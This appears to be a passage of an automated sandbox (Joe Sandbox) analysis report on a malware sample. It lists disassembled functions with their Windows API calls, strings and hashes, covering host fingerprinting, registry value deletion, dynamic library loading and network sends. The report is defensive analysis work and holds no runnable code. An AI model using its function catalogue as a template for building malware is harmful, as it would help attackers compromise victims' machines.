Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction ID: 4803a2b58c989d3153338e19fd6ea83a0178b1dcc025053f91231b5d5ab18198
Opcode Fuzzy Hash: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction Fuzzy Hash: EB214B71A00219FBDB209FA4EC89EDE7FA9EF08754F008025F908A6150E271AA5497E1

Function 040C71C6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 040C71E1
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 040C7228
LocalFree.KERNEL32(?,?,?), ref: 040C7286
wsprintfA.USER32 ref: 040C729D

Strings

|, xrefs: 040C721A

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Name$AccountFreeLocalLookupUserwsprintf
String ID: |
API String ID: 2539190677-2343686810
Opcode ID: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction ID: b44bb501eb7632a695e62c8e44757340997b0fbe21725451236075fb65b405d9
Opcode Fuzzy Hash: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction Fuzzy Hash: C5311A72A00209FBDB41DFA8DC45ADE7BACEF04314F14C16AF959EB140EA75E6488B94

Function 0040AD08 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55stringnetworkCOMMON

Download Yara Rule

APIs

gethostname.WS2_32(?,00000080), ref: 0040AD1C
lstrlenA.KERNEL32(00000000), ref: 0040AD60
lstrlenA.KERNEL32(00000000), ref: 0040AD69
lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Strings

LocalHost, xrefs: 0040AD79

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: lstrlen$gethostnamelstrcpy
String ID: LocalHost
API String ID: 3695455745-3154191806
Opcode ID: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction ID: 5e983dddb47fd7e780230f110e9d304ee880480ae48faa8370a3fb9af9ed59c3
Opcode Fuzzy Hash: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction Fuzzy Hash: FA0149208443895EDF3107289844BEA3F675F9670AF104077E4C0BB692E77C8893835F

Function 040CB478 Relevance: 7.6, APIs: 5, Instructions: 131timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 040CB51A
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 040CB529
SystemTimeToFileTime.KERNEL32(?,?), ref: 040CB548
GetTimeZoneInformation.KERNEL32(?), ref: 040CB590
wsprintfA.USER32 ref: 040CB61E

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Time$File$Local$InformationSystemZonewsprintf
String ID:
API String ID: 4026320513-0
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: eb82a67edf627fb885c31e5c8bbd85b7e9c08aa69f974bc2323e6164dd36c927
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: F7510EB1D0021CEACF54DFD5D8899EEBBB9AF48304F10816AE505B6150E7B85AC9CF98

Function 040C62D0 Relevance: 7.6, APIs: 5, Instructions: 121libraryloaderCOMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000014), ref: 040C6303
LoadLibraryA.KERNEL32(?), ref: 040C632A
GetProcAddress.KERNEL32(00000000,?), ref: 040C63B1
IsBadReadPtr.KERNEL32(-000000DC,00000014), ref: 040C6405

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Read$AddressLibraryLoadProc
String ID:
API String ID: 2438460464-0
Opcode ID: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction ID: b11611b75cc071fcdc3b44e577538700dc5b4c56054356fb22930f8d69d31f73
Opcode Fuzzy Hash: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction Fuzzy Hash: E3413B71A00205EBDB64CF98C884AADB7F4EF05358F14896DE855E7290E772F982DB90

Function 00402923 Relevance: 7.6, APIs: 5, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction ID: 0bfd2bf0caf83722c61519a9099cbfb16c0865a6a5fe5c2769a2057d5fd36f2a
Opcode Fuzzy Hash: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction Fuzzy Hash: 2931A471A00219ABCB109FA6CD85ABEB7F4FF48705F10846BF504F62C1E7B8D6418B68

Function 0040E654 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 96stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

lstrcmpA.KERNEL32(75920F18,00000000,?,75920F10,00000000,?,00405EC1), ref: 0040E693
lstrcpynA.KERNEL32(00000008,00000000,0000000F,?,75920F10,00000000,?,00405EC1), ref: 0040E6E9
lstrcmpA.KERNEL32(?,00000008,?,75920F10,00000000,?,00405EC1), ref: 0040E722

Strings

A, xrefs: 0040E6F9, 0040E6FE, 0040E739
A, xrefs: 0040E65F, 0040E666, 0040E6CF, 0040E731

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: lstrcmp$CountCurrentExchangeInterlockedThreadTicklstrcpyn
String ID: A$ A
API String ID: 3343386518-686259309
Opcode ID: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction ID: 47b803fc1c440cad9c550ff35358ad860d5bc2ca4051ff98ce99c32b6473ed9c
Opcode Fuzzy Hash: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction Fuzzy Hash: CC31C031600301DBCB318F66E8847977BE4AB24314F508D3BE555A7690D779E8A0CB89

Function 004026FF Relevance: 7.6, APIs: 5, Instructions: 96networkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040272E
htons.WS2_32(00000001), ref: 00402752
htons.WS2_32(0000000F), ref: 004027D5
htons.WS2_32(00000001), ref: 004027E3
sendto.WS2_32(?,00412BF8,00000009,00000000,00000010,00000010), ref: 00402802

Part of subcall function 0040EBCC: GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
Part of subcall function 0040EBCC: RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: htons$Heap$AllocateCountProcessTicksendto
String ID:
API String ID: 1128258776-0
Opcode ID: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction ID: e317574a351225f02cdc10e669db3389ba019fd1a924c3d0ab3f78f3d9a30560
Opcode Fuzzy Hash: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction Fuzzy Hash: B8313A342483969FD7108F74DD80AA27760FF19318B19C07EE855DB3A2D6B6E892D718

Function 0040F26D Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(00000000,0000FFFF,00000004,00000000,00000004), ref: 0040F2A0
setsockopt.WS2_32(00000004,0000FFFF,00001005,00000004,00000004), ref: 0040F2C0
setsockopt.WS2_32(00000004,0000FFFF,00001006,00000004,00000004), ref: 0040F2DD
setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0040F2EC
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0040F2FD

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction ID: 54276ff97121d9260d4f5268cf3942b14174050ddbce03adff589c8218e6c2bb
Opcode Fuzzy Hash: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction Fuzzy Hash: 6B110AB2A40248BAEF11DF94CD85FDE7FBCEB44751F008066BB04EA1D0E6B19A44CB94

Function 00402419 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,localcfg,?,00000000,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001), ref: 00402429
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 0040243E
lstrcmpiA.KERNEL32(?,?), ref: 00402452
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 00402467

Strings

localcfg, xrefs: 0040241F

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcmpi
String ID: localcfg
API String ID: 1808961391-1857712256
Opcode ID: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction ID: 10b525c6ae3f8891cd48fd25e34f392daf9ed257baad57177c8ccf48abf1fcea
Opcode Fuzzy Hash: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction Fuzzy Hash: B4011A31600218EFCF11EF69DD888DE7BA9EF44354B01C436E859A7250E3B4EA408A98

Function 0040E52E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

GetFileSize.KERNEL32(00000000,00000000,?,75920F10,?,00000000,?,0040A445), ref: 0040E558
ReadFile.KERNEL32(00000000,?,00000000,?,00000000,?,75920F10,?,00000000,?,0040A445), ref: 0040E583
CloseHandle.KERNEL32(00000000,?,75920F10,?,00000000,?,0040A445), ref: 0040E5B2

Strings

PromptOnSecureDesktop, xrefs: 0040E5D9, 0040E5DE, 0040E615, 0040E634

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: File$CloseCountCurrentExchangeHandleInterlockedReadSizeThreadTick
String ID: PromptOnSecureDesktop
API String ID: 3683885500-2980165447
Opcode ID: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction ID: 336cca8f28a0ae06816d6806ca3c094c6326420f96deeb8fe64773c8e7208e17
Opcode Fuzzy Hash: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction Fuzzy Hash: F321EAB19402047AE2207B639C0AFAB3D1CDF54758F10093EBA09B11E3E9BDD96082BD

Function 040CE795 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

Part of subcall function 040CDF6C: GetCurrentThreadId.KERNEL32 ref: 040CDFBA

GetFileSize.KERNEL32(00000000,00000000,?,00410170,?,00000000,?,040CA6AC), ref: 040CE7BF
ReadFile.KERNEL32(00000000,004136C4,00000000,?,00000000,?,00410170,?,00000000,?,040CA6AC), ref: 040CE7EA
CloseHandle.KERNEL32(00000000,?,00410170,?,00000000,?,040CA6AC), ref: 040CE819

Strings

PromptOnSecureDesktop, xrefs: 040CE840, 040CE845, 040CE87C, 040CE89B

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: File$CloseCurrentHandleReadSizeThread
String ID: PromptOnSecureDesktop
API String ID: 1396056608-2980165447
Opcode ID: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction ID: 0310b0f73134000515bf1222b44ca894adeca5846ff1108cc991e90aaf8c4d14
Opcode Fuzzy Hash: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction Fuzzy Hash: 8B21D3B2A40300FAF2207B219C46FEF3E5CDF55B68F10017CBA09B55D3EAA5A55192F5

Function 00401AC3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

Strings

Iphlpapi.dll, xrefs: 00401ACC
GetAdaptersAddresses, xrefs: 00401AE3

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetAdaptersAddresses$Iphlpapi.dll
API String ID: 2574300362-1087626847
Opcode ID: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction ID: f6c238f91e07a5798e813b0b618c72a9a5addbcd8e0b61e0281ff71d4ef1483f
Opcode Fuzzy Hash: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction Fuzzy Hash: 3D11DA71E01124BFCB11DBA5DD858EEBBB9EB44B10B144077E005F72A1E7786E80CB98

Function 040C7665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 040C76D9
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 040C796D
RegCloseKey.ADVAPI32(?), ref: 040C797E

Strings

PromptOnSecureDesktop, xrefs: 040C76C5, 040C76CA, 040C76E5

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CloseEnumOpen
String ID: PromptOnSecureDesktop
API String ID: 1332880857-2980165447
Opcode ID: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction ID: 5f3c9bd1bd86c8a418c4bf34f21cf43876fa1edefe3b0146712b7651d1114aba
Opcode Fuzzy Hash: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction Fuzzy Hash: E611AC70A0010AEFEB119FA9EC45EEFBFB9EB81714F140169F515F7290E6B199408F61

Function 00401BDF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32(?,0000000F), ref: 00401C15
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00000001,00000000,00000000,00000000,00000000,?,?,?,?,00000001), ref: 00401C51

Strings

hi_id, xrefs: 00401BE5
localcfg, xrefs: 00401BE7

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: hi_id$localcfg
API String ID: 2777991786-2393279970
Opcode ID: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction ID: b3a67a5cb4ed68e183e77afdc8505cc80d304e276af6d439446d09174096bcc5
Opcode Fuzzy Hash: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction Fuzzy Hash: B2018072A44118BBEB10EAE8C8C59EFBABCAB48745F104476E602F3290D274DE4486A5

Function 004096FF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,PromptOnSecureDesktop,00000000,?,?,0040A14A), ref: 00409736
RegDeleteValueA.ADVAPI32(0040A14A,00000000,?,?,?,?,?,?,?,?,?,0040A14A), ref: 00409756
RegCloseKey.ADVAPI32(0040A14A,?,?,?,?,?,?,?,?,?,0040A14A), ref: 0040975F

Strings

PromptOnSecureDesktop, xrefs: 00409704, 00409722, 00409727, 00409749, 0040976C

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction ID: 5e38ed9511aa8cc069582274463af9cddeeab7037fd65aad7bdf8be664a95ff7
Opcode Fuzzy Hash: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction Fuzzy Hash: 5AF0C8B2680118BBF3106B51AC0BFDF3A2CDB44704F100075F605B50D2E6E55E9082BD

Function 040C9966 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 040C999D
RegDeleteValueA.ADVAPI32(?,00000000), ref: 040C99BD
RegCloseKey.ADVAPI32(?), ref: 040C99C6

Strings

PromptOnSecureDesktop, xrefs: 040C9989, 040C998E, 040C99B0, 040C99D3

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction ID: 6c19569982177343cadc9631972a2be8a6da564212c17034f45f2ff9089e099a
Opcode Fuzzy Hash: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction Fuzzy Hash: 84F09CB2680108FBF7116B54EC46FDF3A2CDB55B18F104065F605B50D1F6E55B9052B9

Function 040C28EB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(u6A), ref: 040C28FA
gethostbyname.WS2_32(u6A), ref: 040C2906

Strings

time_cfg, xrefs: 040C28EB
u6A, xrefs: 040C28EC, 040C28F9, 040C2905

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$u6A
API String ID: 1594361348-1940331995
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 104c439e9349fa61276d089879ac9257c15ab236f00333d66512ef54c5f8c3f2
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: DDE0EC30A05511DFDB909F28F848AD977E5EF4A230F0585D9F454E75A0C774AC819654

Function 040C69C3 Relevance: 6.2, APIs: 4, Instructions: 199COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(?,00000080), ref: 040C69E5
SetFileAttributesA.KERNEL32(?,00000002), ref: 040C6A26
GetFileSize.KERNEL32(000000FF,00000000), ref: 040C6A3A
CloseHandle.KERNEL32(000000FF), ref: 040C6BD8

Part of subcall function 040CEE95: GetProcessHeap.KERNEL32(00000000,?,00000000,040C1DCF,?), ref: 040CEEA8
Part of subcall function 040CEE95: HeapFree.KERNEL32(00000000), ref: 040CEEAF

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeHandleProcessSize
String ID:
API String ID: 3384756699-0
Opcode ID: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction ID: b30f1b4dd5e0f09bb4e2bf63e98bfe2d6a4d148e3a326745966fd2204ec1e255
Opcode Fuzzy Hash: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction Fuzzy Hash: F171187190021DEFDF20DFA4CC80AEEBBB9FB04354F10496AE515B6190D731AE92DB60

Function 00401C5F Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00401CE1
wsprintfA.USER32 ref: 00401D6B

Strings

%u.%u.%u.%u.%s, xrefs: 00401CDB, 00401D65
localcfg, xrefs: 00401C70

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %u.%u.%u.%u.%s$localcfg
API String ID: 2111968516-120809033
Opcode ID: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction ID: f60862e96afe744063ef1f8e151e0253a3d6131670b42bf9f562b78b9aabf051
Opcode Fuzzy Hash: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction Fuzzy Hash: 3C41C1729042999FDB21DF798D44BEE7BE89F49310F240066FD64E3192D639EA04CBA4

Function 00403F18 Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403F44
GetLastError.KERNEL32 ref: 00403F4E
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403F5F
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403F72

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: 81d5a9f64dfd66904774ebc82d2e0e48c629fa8216d99cd76bf4a5dbd4e59073
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: B9010C7291110AABDF01DF90ED44BEF7B7CEB08356F104066FA01E2190D774DA558BB6

Function 00403F8C Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403FB8
GetLastError.KERNEL32 ref: 00403FC2
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403FD3
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403FE6

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 44fd539f7a3468c5635e20a1652967c761b46accf60e77792ab8a53432005efc
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: A601177291110AAFDF01DF90ED45BEF3B7CEF08356F004062F906E2090D7749A549BA6

Function 040C417F Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 040C41AB
GetLastError.KERNEL32 ref: 040C41B5
WaitForSingleObject.KERNEL32(?,?), ref: 040C41C6
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 040C41D9

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

